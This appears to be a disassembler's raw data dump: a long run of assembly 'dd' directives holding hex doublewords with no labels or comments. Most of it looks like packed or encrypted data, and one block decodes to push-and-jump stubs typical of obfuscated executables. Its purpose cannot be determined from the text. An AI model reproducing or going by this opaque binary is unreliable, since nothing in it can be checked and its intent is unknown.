dd 7D3457B8h, 84CD6F30h, 0A5E70DABh, 0B4327016h, 5DDE43ECh
dd 0E7AACCFFh, 0D7AED80Eh, 0ADBADDD9h, 8C3E6482h, 0BADDDA8Ch
dd 915BDD76h, 7FBBCD6Bh, 45BADDDAh, 42E14EEAh, 51F4DF0Bh
dd 16829B18h, 296003ACh, 4CBB64FFh, 0B809AAEEh, 1029h
dd 9A206910h, 0D5511439h, 387CE6Ah, 73B7F2A0h, 0A4E2AFD0h
dd 0D7789ADFh, 83A30C9Ah, 0B5D778CEh, 6605AEFCh, 0D9039B2Fh
dd 5D76BAFh, 341359B6h, 88155CFFh, 98DD7152h, 0A4E98A1Bh
dd 0ADED1FCBh, 97AF57D6h, 9AB7CBCh, 0D7F214B2h, 0ADB60007h
dd 4821640Ah, 0B1EB49F2h, 0ABA313B3h, 0B5514A8Bh, 0A87CB813h
dd 7CA18ABCh, 0A87CBAFAh, 0B47DD6BCh, 8F70CAA6h, 4E2D1Fh
dd 0E7F60000h, 81B9C3B5h, 43AF57D7h, 0B1CBFFE8h, 0B6002724h
dd 0D29BBD1Eh, 42E2CDF9h, 51F4DF0Bh, 2777B3D5h, 0E24DB600h
dd 1273A409h, 15FF397Ch, 26B5F3h, 0A20DABB6h, 800CA83h
dd 0FAB60027h, 3558C751h, 0E7852E7Ch, 628001AEh, 9B00000Fh
dd 0D80EB5E7h, 5D415AEh, 0A644EFB6h, 0D3571E3Dh, 0F49CD70h
dd 29FD8C7Dh, 0A0EC8E7h, 0F8B60506h, 7039665Fh, 394367DCh
dd 0BCB30201h, 14B268C3h, 0B301B6F2h, 7A38CBCh, 0B301C5C5h
dd 494BFBCh, 9756F5DEh, 2475BAF7h, 3154FF4Bh, 0C2723B78h
dd 8E31D098h, 0E8E21E53h, 18B056C2h, 18CEA7EFh, 3E7711F2h
dd 185D6CFAh, 0C27C35Bh, 0CF7E41DCh, 9F6043E5h, 0EE9h
dd 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h, 64A2EF90h
dd 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh, 19C35BEFh
dd 5D8ABEFh, 0F45399B6h, 57D75EA6h, 44FF5DAFh, 0D32C64A6h
dd 3D16B605h, 0AF072689h, 8A3C8A62h, 0B605638Eh, 3303DB74h
dd 0C061C215h, 0AD16948Dh, 0A923C78Eh, 55CE2190h, 0D7B4E4CAh
dd 0A95DE656h, 0AD543C1Fh, 0FB2D06BCh, 0EC7D424Ch, 6EF05152h
dd 5500000Eh, 842F7B32h, 0B31CAAEFh, 0E54EDC95h, 15BE0C49h
dd 66ED3974h, 0D39EBF53h, 74AEC57h, 357C2083h, 662F4EF1h
dd 64A64420h, 0B605D924h, 0BA73D81Eh, 0D6AEEA1Ch, 3394AF57h
dd 33655E13h, 2380C96Ch, 0F1B8DCC7h, 3D4F7BACh, 0AF57D6FDh
dd 63CC6CC7h, 2B6201C0h, 1E34ED32h, 2D4DD65Bh, 570BC360h
dd 64CC07C7h, 159E156Bh, 0FC216C0Eh, 33B8B2ABh, 0A9C52E72h
dd 0C25647ECh, 0DF607A56h, 8A39D12h, 0E7A60000h, 0B2D80EB5h
dd 0D6B6F214h, 0A38CAF57h, 0D2CCF375h, 9DB6B605h, 4AE28669h
dd 87218431h, 0F03D166Fh, 8EB71A7h, 0F502CD65h, 344FA570h
dd 0C164CF5Bh, 0E6185288h, 0E248943Bh, 7F8DFF36h, 19F2F063h
dd 0FD5F5BEDh, 0A25B604h, 0BE213DAEh, 5049D69Fh, 0FD060ED8h
dd 1785B604h, 0EDCC7EACh, 0D7BCAD2Dh, 68954C7Ch, 0FC3FEC7Dh
dd 0D7C03h, 8DC46300h, 0BCF99639h, 0EAA3C56Eh, 1A5FF35Ch
dd 4F02238Ch, 0D53D7CFBh, 2ADF9B4h, 36992D60h, 68CB5F16h
dd 0AE3E8CC5h, 0DA0E0ABCh, 0B6F4B605h, 9D5CFF89h, 57DCB5F0h
dd 0B9E6AFCEh, 909AA01h, 12DFD21Dh, 7ECF8h, 5EA64300h
dd 5DAF57D7h, 0D96389FFh, 0AF57D6E1h, 4A4E88A3h, 38AF57D7h
dd 4680261Fh, 0B605D397h, 0AE620F49h, 0D48C4510h, 7591BA44h
dd 64A2EB8Ah, 4CD198BBh, 34D269CBh, 0AD92B792h, 0A2A8DBCh
dd 43E0A9CBh, 6098716Ah, 0EC7D03ABh, 0E2358E2Dh, 0C900000Ch
dd 0A3E7AEh, 2F901653h, 59FA4009h, 892A7035h, 9A61A5E8h
dd 571A3BD7h, 83CE70D3h, 0B1F89C07h, 0E2ABCA75h, 0E01AC0A4h
dd 0B605DAA8h, 0FFF75C9Ah, 67F1155Ch, 1156E428h, 9B08A01Bh
dd 84226B0Ah, 0D132771Bh, 0CDBEFAB3h, 65753EBDh, 12DF2989h
dd 7446Ch, 30BAB700h, 98641EF6h, 36F127D8h, 7F893D86h
dd 0B60611A5h, 0AD16B49Fh, 67224F8Eh, 0B208E13Ah, 16DA7211h
dd 9594440Eh, 65E54A23h, 0B6065821h, 65813A9Ah, 0AE890823h
dd 0B751FABCh, 0EC7C0D6Eh, 46028320h, 2D00000Ch, 5CC7430Ah
dd 8B347237h
dd 0BD66A4EDh, 0ED56D491h, 3E85014Ch, 0BBF6977Bh, 0EFA2C46Fh
dd 1D54F85Bh, 4E072689h, 4CFE6CF8h, 0B605DB4Ch, 0FF4BF036h
dd 5288155Ch, 7414D171h, 0CEA7F03Dh, 0B1D74861h, 4CEFB0F8h
dd 0F8EE9805h, 8CD97117h, 0F767CA0Eh, 87901DF6h, 0F9F9BA11h
dd 12DFCD0Dh, 69CE8h, 1CBA3300h, 57D6AEEAh, 7DBB94AFh
dd 57D6B0EBh, 0F249EBAFh, 0D3BDB2D4h, 0AC87B605h, 0BFF6957Eh
dd 0ECA5C86Bh, 2056C647h, 5D4A2E6h, 0DEB760B6h, 0ECA5C728h
dd 964A64Ch, 0FBBCADDAh, 0BC57A850h, 0FA39EC7Ch, 0B9C09h
dd 0ADE48300h, 0DC99B619h, 0A43E54Eh, 3A7F13BCh, 6F2243ECh
dd 0F51D5CDBh, 228D1954h, 56F94D00h, 882B7F36h, 8E1EACE5h
dd 0DBEE2A5Ch, 96D4B605h, 155CFFA9h, 0B5741788h, 5952DF96h
dd 0CB30BA60h, 6AB08BAFh, 7267B74Fh, 6B2ECC17h, 72DB5ECDh
dd 0C28BAAB1h, 3EE4D044h, 250312DFh, 24000001h, 88155CFFh
dd 9ED77152h, 0F901811h, 26E1256Ch, 6F994DF6h, 0B5FFF600h
dd 2C469C2h, 0B5FFF602h, 6E6C359Eh, 1477CD72h, 2C95h, 0B5E7AE00h
dd 37A8E586h, 47635C15h, 4EA05h, 56F7D8B6h, 0C38AAA1Bh
dd 818545EAh, 1DB60005h, 0F1EDEDB6h, 141477F8h, 0A2h, 155CFF2Fh
dd 3B761788h, 470E2DF6h, 632A49DAh, 2DB2527h, 0A5C8AF58h
dd 4FED5EECh, 0A97DA7Ch, 78823811h, 0B602A255h, 0BF4CC10Bh
dd 2EA4E426h, 0B59EB602h, 0A036113Dh, 0B96DC608h, 22783556h
dd 7BADE081h, 0F327DF9Eh, 9642C3E0h, 7D00000Ah, 0AC1793DAh
dd 0DB44C287h, 0DB6F4BDh, 3DE62461h, 4ED5511Ch, 0B46E72Bh
dd 3F7214BFh, 6D2448EBh, 9ED776D9h, 3C4E9C08h, 0B605DCFCh
dd 0BA9B80C6h, 2D723B59h, 52F3BCFCh, 1661EB1Fh, 25A64444h
dd 0B619E335h, 0C728DE97h, 0D97CEDA4h, 9E1A1390h, 59BA0F34h
dd 0C0CBE3Ah, 0F6AF57D7h, 6D6A645Dh, 1286ED13h, 791C8315h
dd 0DB4F4BFDh, 1A35AF57h, 23FC21h, 0D272FD49h, 55000004h
dd 0D80EB5E7h, 0FFFECBAEh, 119EB9B5h, 1D1DAFD5h, 0E7B5FFFFh
dd 2C6C9E4Ch, 16B5FFFFh, 296DFB3Dh, 45B5FFFFh, 5811349Fh
dd 0DFBD9F8Eh, 94041875h, 0C92A763Fh, 0E0B4E4A9h, 147728F4h
dd 1F613h, 5C63F500h, 108F1A4Dh, 0A6A18A2Eh, 0AF57D765h
dd 994DF626h, 5D3786Fh, 0C5E14AB6h, 0B1CB719Fh, 0B605D379h
dd 0E226E04Bh, 0A0B605D2h, 0DF7E2177h, 8CAF1096h, 97FFE724h
dd 4B24A195h, 4CF725E6h, 52116C9Eh, 58F3BCADh, 7D4443A0h
dd 0DF635ECh, 985h, 684CD6Ch, 71B5F09Dh, 0A7E3AACEh, 971356FCh
dd 0C0460B2Ch, 0BBDC367Bh, 6F0FB0F6h, 193BE422h, 0CA69CA50h
dd 45A70783h, 5DE0703h, 90BFFDB6h, 88155CFFh, 893D7417h
dd 0EC016E4Fh, 0A2F6BA67h, 4CD57EC1h, 0DB6F2645h, 0DF8A8773h
dd 1516612h, 0FFB90000h, 1788155Ch, 4F893D74h, 39AB7AABh
dd 0EA50D85Bh, 964ECA0Ch, 0DE5E3F0Ch, 0BA68BC04h, 79BF1E20h
dd 11B50EAEh, 0ED88F7h, 4CD17AB6h, 0ED8A8Ah, 0E44D26B6h
dd 76C4FAD6h, 3A1D14h, 0BA260000h, 22763F59h, 5E8C3765h
dd 4D12Ch, 5B4597B6h, 0A071B62h, 53FC0296h, 0E3080CCEh
dd 0BEA4B5FFh, 42D42B3Ch, 0B2906A23h, 7CD74106h, 0C6CBA7B3h
dd 0B9521477h, 0F5000000h, 0FB9D5CFFh, 0A34EB353h, 0B5AE470Fh
dd 46802EDCh, 0AF58A642h, 68A0DA00h, 5AAF58A6h, 339018F1h
dd 179CD172h, 0A47E8CBh, 345674A5h, 0AF58A5F4h, 6C3365CEh
dd 822380C9h, 0EA1CAAE3h, 0AF58F8B4h, 0EE8D4CEFh, 0CF78CEA7h
dd 0CF30D66Dh, 0AFB5E3AEh, 398321Dh, 8DAF10B6h, 0D43FEBC4h
dd 98D576B3h, 97B81BAFh, 0FEBF2EDAh, 0E2C1F326h, 84861h
dd 41082F00h, 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h
dd 99793887h, 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h
dd 0DF4A4EF8h, 0F238B605h, 135EFF55h, 40092C97h, 0D66A509Ah
dd 0BA8ED81h, 5F16D812h, 0A28973A5h, 913559BAh, 7DE20D74h
dd 0C2231C9Fh, 6942EFA6h, 743D60CFh, 9ED7762Fh, 29B8708h
dd 0BAA20000h, 527D2430h, 0C86093D1h, 4066DD7Fh, 656A906h
dd 73B09BB6h, 656ABEBh, 0C36CC7B6h, 0F12953F9h, 0D3B60656h
dd 88643078h, 6F147156h, 22Ah, 0B30BAB0h, 9C14BFCh, 0D0ED850h
dd 8EAF57E4h, 0D771952Eh, 0B605E072h, 82CF6F50h, 0F3927DA9h
dd 8FA30CBAh, 0BA3465CAh, 0A2554A25h, 1DE731A8h, 0C3B93B2h
dd 0BE0E4A56h, 2EE22660h, 77A0B606h, 0BF78A59Eh, 0C600A61Dh
dd 0BCAE34A7h, 9116B29Dh, 0BFEC7C61h, 757837Ch, 1B3E0000h
dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h
dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh
dd 7B605E0h, 5CFF5AC1h, 6C0EF115h, 8B14F721h, 0A37CA1E8h
dd 0BC65CA8Fh, 9C4AD79Ah, 57D72E6Ah, 0DF3B14AFh, 0D130BF60h
dd 91B4BB64h, 0ACC122D8h, 0C55344E9h, 0D6E3DF7Fh, 670A12DFh
dd 1D000001h, 88155CFFh, 0E93D7417h, 0A145FE5Eh, 0FFF5F867h
dd 3C61CAB5h, 0FFF5FA3Ah, 0C38AA9B5h, 4246805Eh, 0B5FFF6h
dd 0DD98B617h, 7B249150h, 45AEB4FCh, 0D7C06D28h, 1C9CD976h
dd 0FCFEA7h, 0E71477CDh, 48h, 0EB5E738h, 4B089ED8h, 24549576h
dd 0DFC06EF4h, 13FBF3BEh, 6FDF437Dh, 0D12C3A7Eh, 0B3B600ABh
dd 0D3D31B98h, 0D0B600ABh, 0E9BAE7A2h, 35980548h, 0CCB1DF40h
dd 3B3C8A44h, 0D5BEE2DBh, 0D524E4Ch, 0B2B51477h, 8E000000h
dd 0F1155CFFh, 50EA6E0Eh, 0AF57D758h, 8028012Ah, 24E18223h
dd 0CD524B0Eh, 42783154h, 2D8BC261h, 0F46E5BEh, 515F41BBh
dd 9E01AF58h, 0BE61B7FEh, 0AA50D69Fh, 3D622B49h, 59FB4CECh
dd 5C9EC4E2h, 0DAB311C3h, 293F7991h, 0B602FB06h, 4CB753FCh
dd 5F40662Bh, 901BB33h, 0FBB602FBh, 0E13A6750h, 0C162CDB7h
dd 9B555C8Ch, 5C5FF327h, 5F0E3h, 0F9B0D700h, 286D02ADh
dd 5E173192h, 8ECB67C8h, 0BBF69738h, 41D1E06Fh, 76D96D20h
dd 0A20D99D4h, 0D47FCB82h, 3AA2F8B1h, 0E2A2E620h, 5A60B605h
dd 3959BAFDh, 0BAFE2F74h, 8D1954F5h, 0FC4A0322h, 0F45CFFD7h
dd 72D1D6A1h, 8B2801CCh, 14FF7B1Ah, 0A4F53A7Fh, 58211E1Ah
dd 20AAE4AFh, 0E41E5EB9h, 5FEBC4BDh, 40D4h, 5CFFF700h
dd 74178815h, 0D75256F0h, 730AF57h, 7320812Eh, 0FED79EBEh
dd 54CF0B1h, 2283E898h, 0EF347D1Bh, 0E556C5BEh, 0EE8F703Ch
dd 8BAA75A3h, 76D224C2h, 4F8DE4C9h, 0BD068C2Ch, 12h, 155CFF98h
dd 0D7474E88h, 46D5AF57h, 0FEB7D6DDh, 5CFF83A8h, 6E0EF115h
dd 9123E1C6h, 8962D6D3h, 0F692F324h, 5C8A79BFh, 6EAAF01Ah
dd 9503FD74h, 0ED19A212h, 5ED0A5Bh, 0AB5FF8B6h, 0DE6C2548h
dd 129FD675h, 2B5D2B89h, 0B605ECEFh, 65817AD5h, 5D92BD3Fh
dd 0BBA51CC0h, 43AFEB7Dh, 0BA95BCB4h, 50FDE60Ch, 446AAED8h
dd 0FF58BCB4h, 6E0D9206h, 23658327h, 0BCB443E7h, 5C2672DDh
dd 941950F3h, 0EC1AA113h, 822F6203h, 544D0021h, 4AF01EC4h
dd 0B443F830h, 3761CABCh, 5C5E2A31h, 0B3D33CC3h, 5E918933h
dd 0D873C35Ch, 0CF6942EFh, 0E9F21601h, 2FE5CE37h, 48F338Ch
dd 0D3760000h, 8EA30C9Ah, 0B4D47FCBh, 6806A9FDh, 1536992Dh
dd 3445C258h, 0AAF0BDDEh, 0E6246909h, 0D0561F3Dh, 185CC6Fh
dd 50547A5h, 0FFB605E3h, 1CBA92B9h, 57D6AEEAh, 7DBB94AFh
dd 4CDA93B2h, 9A1E3DA6h, 57D72860h, 58311AAFh, 652C4FD0h
dd 8DC46738h
dd 0F73F1F59h, 9C5ADE3Fh, 0F7BE64C0h, 0BAD865Fh, 0F3BC1998h
dd 6F2646A9h, 8EC766C9h, 60A09C38h, 0ED6F12DFh, 1BED396Dh
dd 0DC7EBA81h, 44h, 0EB5E767h, 2715AED8h, 44EFB600h, 561F3DA6h
dd 26F036D0h, 90B3B600h, 55A74DD9h, 0B7D6BCBFh, 515EE4FEh
dd 50F4BBFDh, 3547ED19h, 9D2B442Bh, 96923CCCh, 6CB60021h
dd 88CD62C3h, 0CAC24320h, 0E5000003h, 0AEEA1CBAh, 0B0AF57D6h
dd 57D71216h, 8747F0AFh, 80A30CACh, 0B2F79B04h, 57D71008h
dd 6059F2AFh, 8AC362C3h, 92298B3Ch, 47E5CE74h, 6ABE286h
dd 6BF73C15h, 57D6D9D1h, 9780ABAFh, 0F598C701h, 0C16AB5FFh
dd 0F59A9A5Ch, 5D36B5FFh, 0CCEAC6D4h, 4D0D1477h, 16000000h
dd 0D80EB5E7h, 54FAEh, 951A35B6h, 55155h, 783D52B6h, 81C46A3Bh
dd 5BC4B11Ch, 36FF54DCh, 976E06Ah, 4086B1E4h, 46504CE8h
dd 5D9F1477h, 75C38C93h, 8655E5E1h, 0E53D5605h, 6CACDE0Ch
dd 56B600B0h, 0EB99BBFDh, 0A2000000h, 0AEEA1CBAh, 94AF57D6h
dd 69F3E95Ah, 655EB6BFh, 80C96C33h, 8E8A3C5Ah, 74AF5837h
dd 70EE5DDBh, 3778B0CAh, 0E14AAF58h, 0A47E8B7h, 1059FCA5h
dd 3A731293h, 3C041AECh, 0FC9FAF58h, 288B71B5h, 43EC4C05h
dd 43C46920h, 3ABC6AD1h, 0CF9A41DCh, 20CA6E87h, 7673E6h
dd 0EE8A75B6h, 0C1F903A7h, 83B60075h, 0DDFE00A8h, 71AAF7BEh
dd 1BB90298h, 0D7C07AA0h, 0ADBCAB17h, 0B354B63h, 0B9922003h
dd 0CC81A20Dh, 34B4D57Eh, 0ABCD9692h, 0EAC36CBCh, 7EC9A73Eh
dd 79CAE9ECh, 289h, 3A80C970h, 75B1F499h, 0A3E7AECAh, 93175200h
dd 0C4420F30h, 0B7D83A7Fh, 6303ACFAh, 1537982Eh, 0C665CE5Ch
dd 0B9A33B8Fh, 5E50B0Fh, 94B3F9B6h, 0ACDE5EFFh, 0AF57D76Ch
dd 885A1737h, 8A70B6AFh, 0AECA0B29h, 8861BAE7h, 95DC7F20h
dd 0B5E72A11h, 4FAED80Eh, 35B60005h, 5155951Ah, 6DB60005h
dd 0D28B65F7h, 1AA703CBh, 0BCED327Bh, 35FE55C3h, 4AE6886Bh
dd 1FDF229Fh, 53C5BE17h, 7729EBC7h, 0B53214h, 0FF150000h
dd 5288155Ch, 0D7969234h, 0C36CAF57h, 0E4A9CA55h, 1078B4C6h
dd 8177F2E6h, 5CB2B417h, 47AF587Ah, 76D96D24h, 0DFCF7FD7h
dd 582BB98Fh, 0DB79C26Fh, 0D900BA60h, 0ABB600D1h, 13813A80h
dd 9D3C8649h, 3B6CB1FCh, 9C91FDA3h, 0C9F507A3h, 5E7189C2h
dd 162BF600h, 3C0742Bh, 0AD3D4F95h, 97BCAACBh, 84A50EBCh
dd 0B1D27DC9h, 0CBA3CCFCh, 8E2DEC7Fh, 18C35h, 9DD47300h
dd 0CC89A609h, 0FAB3D57Eh, 2A6F03ACh, 5F12339Ch, 0E52D4CCBh
dd 12BD0944h, 46E93D70h, 78DB6F26h, 9E0E9CD5h, 0E5FE3A4Ch
dd 86C4B605h, 135EFF99h, 0E9866997h, 80A30CACh, 0FF567DC9h
dd 1788155Ch, 46E93D74h, 57B86E27h, 53307831h, 35D16ACAh
dd 2F893h, 3C61CAB6h, 80F903Dh, 709E2C65h, 76A2EF8Fh, 2B803B1h
dd 0A82241F8h, 9CBC27BCh, 0B5D748D5h, 6B9503FCh, 0A3C263C0h
dd 7DEE45EAh, 0BC07B5B4h, 413DFC0Eh, 8523C350h, 50414743h
dd 0ABEF19C3h, 99C35040h, 95032CBEh, 6920486Bh, 0C8694A70h
dd 6A91385h, 65812E67h, 7C1CD97Ah, 53DC5C35h, 343B7831h
dd 4A169Fh, 0E470C102h, 7A2573B2h, 0B31492DBh, 0FA0CBA01h
dd 0C9F8661Fh, 3CE54AE5h, 52D35019h, 6B34793Ch, 6D2380C9h
dd 0F31E9D06h, 0EA4A59DAh, 244AB551h, 0E4263C61h, 0C9F866A4h
dd 5CDCB59Eh, 92957496h, 0C46FD0A0h, 0EC57C546h, 8E888C3Eh
dd 597AD74Eh, 6D99723Bh, 6ABE282h, 7F208315h, 5AC974DCh
dd 1CB7289h, 12319228h, 4C2DAF5Bh, 0C0370AE3h, 69F152C6h
dd 0E09542BCh, 0FDBF60D5h, 9CB27312h, 6A43E0D9h, 8BC261CEh
dd 0BB87D13Fh, 0FCB1D276h, 14172E2h, 0CD650897h, 4544FB16h
dd 0B6FBD4CFh, 9F0441EDh, 0ABB27358h, 0DA45C188h, 0B1ADF2BBh
dd 12856427h, 2F8979EAh, 10A0h, 1CBA7B00h, 57D6AEEAh, 4ABB94AFh
dd 2131672Eh, 1158FF3Ah, 3970138Ch, 40092BF4h, 6D2042E3h
dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h
dd 1768FA4Ah, 89000001h, 0B268242Ch, 89000001h, 89522414h
dd 4C281E2h, 83000000h, 148704EAh, 1C895C24h, 4EC8124h
dd 89000000h, 0E7BF243Ch, 0BA60F276h, 0A5BB86A4h, 545FFA01h
dd 83241C8Bh, 8F5204C4h, 1C8B0843h, 0E2895224h, 4C281h
dd 0C2830000h, 24148704h, 2434FF5Ch, 4C4815Ah, 0E9000000h
dd 0FFFA6C1Eh, 0EEC9817Fh, 4714745Dh, 9730996Dh, 3DB8F558h
dd 306AE11h, 77E0FFC5h, 57550BE3h, 0B027F169h, 0D710BE6Eh
dd 414B7E9Eh, 4837A71Fh, 0E91E6D14h, 24780CF8h, 0A30E1170h
dd 0A920C186h, 4426EEEBh, 0F707E8D0h, 59571572h, 61585CE7h
dd 0AE0240C5h, 0EE653612h, 743E2E6Dh, 0EF258737h, 0AA0DE7FAh
dd 1653050Ch, 541A4BE1h, 0E076F0EFh, 7C571055h, 0DA70BBA5h
dd 0E83EE4F7h, 0Fh, 0E2E81FB2h, 6DC55923h, 3B39FD1Fh, 66E9F754h
dd 0A6CEF81h, 158D0F5Ah, 56000000h, 0EE9h, 0E0D2A900h
dd 383034CAh, 0EB5B3A69h, 5FE4E412h, 5ADEC281h, 9B90000h
dd 2B3FDE2Ch, 5820FDBh, 66000000h, 18D0F781h, 0B91A348Bh
dd 12A266BDh, 30E2C681h, 0B8663D8Ah, 0EE819910h, 1821F36Ch
dd 0FCE18166h, 0C7C68189h, 8A5ED43Ah, 1A3489C6h, 0CFE98166h
dd 2C5CBFECh, 0EB835FBFh, 4B4B4B01h, 0BB79C8B9h, 0DCFB8138h
dd 0FFFFFA5h, 1385h, 9A0ABF00h, 23E934DEh, 8F000000h, 5D590BB1h
dd 0CFF529C5h, 9CD18166h, 0FF9AE9EBh, 6348FFFFh, 0AA1FA414h
dd 6DBAD566h, 0DD6BF4Eh, 92E9B20Dh, 96000000h, 47264F63h
dd 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h, 720095B7h
dd 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h, 897D60D7h
dd 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh, 0B99D8993h
dd 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h, 3C33594Ah
dd 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh, 0B69F8995h
dd 97BBEFh, 0C3B1B6D0h, 527155h, 0C20DA437h, 0E0910D3h
dd 5 dup(0)
dd 10F4E900h, 6B680000h, 0E906AE15h, 0FFFA6A3Eh, 0AE166768h
dd 6A34E906h, 7D68FFFAh, 0E906AE17h, 0FFFA6A2Ah, 0AE18EA68h
dd 6A20E906h, 8368FFFAh, 0E906AE19h, 0FFFA6A16h, 0AE1A2768h
dd 6A0CE906h, 0B768FFFAh, 0E906AE1Ah, 0FFFA6A02h, 0AE1B8F68h
dd 69F8E906h, 8668FFFAh, 0E906AE1Ch, 0FFFA69EEh, 0AE1D4668h
dd 69E4E906h, 3168FFFAh, 0E906AE1Eh, 0FFFA69DAh, 0AE1FAD68h
dd 69D0E906h, 2068FFFAh, 0E906AE22h, 0FFFA69C6h, 0AE232968h
dd 69BCE906h, 5FFAFFFAh, 22F9016h, 3860C347h, 0E48A3571h
dd 99BA65A1h, 0A8C956D4h, 684C96Ah, 6AB0FD9Dh, 0A4E2ABC9h
dd 951158FBh, 79B1CB11h, 4BB605EBh, 5CFF260Dh, 74178815h
dd 36C01FDCh, 0A7875F16h, 0C95D365Fh, 1EA8DE7Eh, 0AF588E1Ah
dd 7DA2EB89h, 9871DA2Ch, 8682C462h, 7CAF588Eh, 719F45D3h
dd 9DF781CBh, 0A25C1367h, 58912018h, 36A8E2AFh, 0D18924EDh
dd 6FF93F28h, 0B6003B00h, 0A0EB8E6h, 0F8B6003Bh, 1C37D95Fh
dd 5C6CEEh, 4D090D1Ah, 0F47C12FEh, 0EAA83FEh, 0DF37419Dh
dd 0B4BE9F63h, 90DDB5Dh, 0A5B60039h, 0B3F711BFh, 91B60038h
dd 189972A6h, 77B02E1Ah, 5DFEE114h, 257A9810h, 0CD000000h
dd 0D80EB5E7h, 7C3151B2h, 4D32A3Ch, 86B1B600h, 4D5D119h
dd 1AF1B600h, 0F8AD9999h, 0CB481477h, 0D3000000h, 0F09D5CFFh
dd 8B57DCB5h, 0D6DFDB6Dh, 4781AF57h, 0AF57D743h, 9AD41601h
dd 7AD4F0A6h, 88201993h, 1BAA0627h, 5C11325Bh, 370CC6D7h
dd 40EDC651h, 0A8F5BCDFh, 891D54F7h, 58A1227Fh, 0ABE281AFh
dd 0D891B41Fh, 0D962D25Bh, 0A9509B2Dh, 1932B600h, 219A3A8Dh
dd 0A31D5F85h, 0AE1FD3BAh, 54EC7ABEh, 2EBCAAE0h, 58BBE105h
dd 0F8317E3Bh, 34EEFB0h, 367B1C87h, 7FCBF592h, 27981BECh
dd 0E6Ah, 6EBCF594h, 59EDA8C5h, 8F1B52F6h, 0FF4B0E24h
dd 287E3354h, 63040EA3h, 1737982Eh, 0C163CC5Ah, 0F2913288h
dd 6DFF6FBBh, 5EBDFDBh, 0B867A5B6h, 0ACDE5EFFh, 0AF57D76Ch
dd 8604FD56h, 93377E1Dh, 0B21DC459h, 22764DE7h, 0B5E77358h
dd 0D781B9C3h, 0E843AF57h, 42ADCBFFh, 5CC56A23h, 0FB2C7138h
dd 66A2E402h, 5CAF57D7h, 4CA3A5F3h, 36B60005h, 4E56901Dh
dd 6AB60005h, 26630FF0h, 9A9819F2h, 1477F8AEh, 0D549h
dd 5CFFD200h, 76178815h, 0E3DC95B3h, 0DC63BCBEh, 1D40AF57h
dd 8228D654h, 57DC4078h, 8F2902AFh, 96347D20h, 0DBDADE68h
dd 42A8AF57h, 57DC0038h, 7069C2AFh, 52C24B38h, 408B3DE9h
dd 2B5FFE4h, 8A2A9D29h, 846F9531h, 9A0BA8E1h, 3B6CB1F4h
dd 0AF10D642h, 95BCAA82h, 82A30CBAh, 11E0612Eh, 8B64A0D5h
dd 0BEF3943Fh, 8060670Ah, 0F94A69ECh, 0D6Eh, 62B8F198h
dd 5DE9ACC1h, 8B1F56F2h, 0FB4F0A28h, 2C7A3758h, 5F0012A7h
dd 0B2B9412h, 3D5FC046h, 0EE8D3674h, 61FB63A7h, 5ECE327h
dd 0BC9BA1B6h, 0F7135EFFh, 6F54EF65h, 66B22C23h, 5910339Ch
dd 215B2BADh, 0F3C3641Bh, 7BBDF092h, 0BBCD6B91h, 0AF582A7Fh
dd 8AC36245h, 0AA1BF425h, 415AC78Eh, 5CFFCCD7h, 6F8FEFF4h
dd 251E7F7Fh, 4D0427F8h, 7B3256F9h, 78822836h, 0AF586E40h
dd 208F2902h, 0D297BC7Dh, 1CFCADF9h, 0C2F843F1h, 8451B8h
dd 0E29033B6h, 0AC5ACEA7h, 0AD8AB569h, 0CA26FD7Fh, 876FF854h
dd 9D269611h, 60E88669h, 8A7CE226h, 9E77A0ADh, 20AAD01Ah
dd 1D372A47h, 193F5D81h, 3D8A04DEh, 0F2798F29h, 0D0B432BDh
dd 0C3713A67h, 0C7614278h, 50BF748Eh, 80C5F1BFh, 0EDB8C228h
dd 0D7BADD90h, 0D2A127B1h, 0E6C257D1h, 0DD2ADCDCh, 948DA6BAh
dd 0B73AE476h, 0B0D52138h, 7211F278h, 0E248F3Bh, 0BC67ED4Bh
dd 8328D099h, 5EE4D95h, 0C58DDA6h, 0E7820000h, 9AB718AEh
dd 40E84BDFh, 7C12BD09h, 2142ED39h, 2051DE6Ch, 8E1C51F2h
dd 0F2480525h, 2C7A3351h, 1DA9E083h, 0F1295389h, 0D3B605EDh
dd 5CFFAE95h, 0D76AAED8h, 7758AF57h, 0CDA69FDAh, 0CE75A760h
dd 7CBEE18h, 9EB9B600h, 0AEEB8768h, 9507800Ah, 7517F82Eh
dd 0D476FC3Ch, 0BCA82275h, 0AAE7886Bh, 7A841405h, 8A8A4CD1h
dd 26BCA822h, 0A653BA3Ch, 70D6E103h, 0D0E24338h, 1F8F96E4h
dd 5B03h, 54FAE500h, 1D9B8C11h, 0EB5E716h, 1851F7D8h, 0C32C4A90h
dd 0DB11E9A0h, 62EF9B58h, 87DC2A8Eh, 7DB600D9h, 0A9CB34D2h
dd 3ABC5AE0h, 9FD3FFA3h, 0ABCD3ECEh, 76B0B6E2h, 2DB6011Fh
dd 0E6A3CF0Eh, 537760B9h, 0FDFB7D19h, 0D058D2B9h, 238C6Ah
dd 1C40EF49h, 7B77C855h, 5200000Bh, 0D80EB5E7h, 7D3051B2h
dd 0B9C3E730h, 0AF57D781h, 8640E843h, 0B605EAD5h, 353865AFh
dd 0EA084B26h, 44AFD5F1h, 2464A62Eh, 1EB605E5h, 53DC5C35h
dd 624D7930h, 145D00CDh, 73A59E8Fh, 0CDE96389h, 6E008D50h
dd 413A7717h, 6C2548D7h, 6DD646C7h, 91ED0FB9h, 55F3BCB4h
dd 0B491F733h, 3662CDBCh, 18FB2F08h, 45EE3C75h, 2018A226h
dd 0E2BCB492h, 4AD35049h, 13B551EAh, 0C35CAC48h, 0B4F9993Ah
dd 0A3453E6Fh, 0E5CE00F2h, 0EB7EC7E4h, 1500000Ah, 44EF3B72h
